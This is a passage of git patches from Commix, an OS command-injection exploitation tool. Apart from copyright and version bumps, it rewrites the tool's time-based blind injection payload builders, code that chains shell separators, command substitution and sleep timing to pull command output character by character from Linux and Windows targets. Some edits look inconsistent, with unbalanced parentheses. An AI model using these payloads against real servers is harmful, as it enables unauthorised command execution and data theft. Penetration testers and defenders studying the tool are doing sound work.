2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/requirments.py b/src/utils/requirments.py index 66e05a0410..767cc31dcb 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirments.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 252caf7719..4fcfd0613a 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/settings.py b/src/utils/settings.py index 8e1df78f4c..ad97f3487b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -261,9 +261,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "4.0" -REVISION = "121" -STABLE_RELEASE = True +VERSION_NUM = "4.1" +REVISION = "1" +STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" @@ -272,7 +272,7 @@ def sys_argv_errors(): VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL -YEAR = "2014-2024" +YEAR = "2014-2025" AUTHOR_X_ACCOUNT = "@ancst" APPLICATION_URL = "https://commixproject.com" APPLICATION_X_ACCOUNT = "@commixproject" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index 27af77220b..e3198934c5 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/update.py b/src/utils/update.py index 81be4cbdb4..31761678e1 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/version.py b/src/utils/version.py index 95869585d0..8d50aade9e 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by From 79909148b3aa7e45d0d2f09e08d4c2d7638cd832 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 Jan 2025 08:29:40 +0200 Subject: [PATCH 524/560] mprovement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). --- doc/CHANGELOG.md | 3 + .../techniques/time_based/tb_payloads.py | 256 ++++++++--------- src/core/injections/controller/checks.py | 8 +- src/core/injections/controller/controller.py | 30 +- src/core/injections/controller/handler.py | 10 +- .../techniques/classic/cb_payloads.py | 101 ++----- .../techniques/file_based/fb_payloads.py | 12 +- .../techniques/tempfile_based/tfb_payloads.py | 258 ++++++++---------- src/core/tamper/backticks.py | 7 +- src/utils/settings.py | 21 +- 10 files changed, 324 insertions(+), 382 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e9020a81f0..3738be395f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 4.1 (TBA) +* Revised: Improvement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). + ## Version 4.0 (2024-12-20) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor bug-fix regarding tamper script "backticks.py" diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 140aa9111b..37a49cc14c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -34,8 +34,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " @@ -46,38 +46,35 @@ def decision(separator, TAG, output_length, timesec, http_request_method): else: if separator == ";" or separator == "%0a": payload = (separator + - "str=$(echo " + TAG + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=$(echo " + TAG + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE + - pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) + - separator + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.SINGLE_WHITESPACE + + pipe + "tr -d '\\n' " + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + + "sleep " + str(timesec) ) else: pass @@ -96,40 +93,38 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) @@ -138,9 +133,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -171,8 +165,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -183,30 +177,31 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): else: settings.USER_APPLIED_CMD = cmd + cmd_exec = cmd + if settings.USE_BACKTICKS: + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX if separator == ";" or separator == "%0a": payload = (separator + - "str=\"$(echo $(" + cmd + "))\"" + separator + + "str=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + #"str1=${%23str}" + separator + - "str1=$(expr length \"$str\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=$(echo $(" + cmd + "))" + separator + + "str=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length $str)" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length $str)" + separator + #"str1=${%23str} " + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -214,10 +209,9 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " + - pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) + - separator + "[ " +str(output_length)+ " -ne " + settings.CMD_SUB_PREFIX + "echo -n \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" " + + pipe + "tr -d '\\n' " + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + + "sleep " + str(timesec) ) else: pass @@ -235,40 +229,38 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi " ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) separator = _urllib.parse.unquote(separator) @@ -277,9 +269,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -307,8 +298,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + @@ -317,38 +308,39 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ) else: + cmd_exec = cmd + if settings.USE_BACKTICKS: + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + + "cmd=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + + "char=" + settings.CMD_SUB_PREFIX + "expr substr \"$cmd\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + # Transform from Ascii to Decimal. - "str=$(printf '%d' \"'$char'\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$char'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + - separator + "fi " ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + + "cmd=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + + "char=" + settings.CMD_SUB_PREFIX + "expr substr \"$cmd\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + # Transform from Ascii to Decimal. - "str=$(printf '%d' \"'$char'\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$char'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -356,11 +348,10 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" + + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + cmd + pipe + "tr -d '\\n'" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + - pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + - "sleep " + str(timesec) + - separator + pipe + "head -1" + pipe + "awk '{print$2}'" + settings.CMD_SUB_SUFFIX + " ]" + separator + + "sleep " + str(timesec) ) else: pass @@ -379,38 +370,36 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a": payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) @@ -418,9 +407,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: @@ -451,8 +439,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -464,23 +452,21 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me else: if separator == ";" or separator == "%0a": payload = (separator + - "str=\"$(" + cmd + ")\"" + separator + + "str=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=\"$(" + cmd + ")\" " + separator + + "str=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" " + separator + "[ " + str(ascii_char) + " -eq $str ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) @@ -489,9 +475,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator + - "sleep " + str(timesec) + - separator + "[ " + 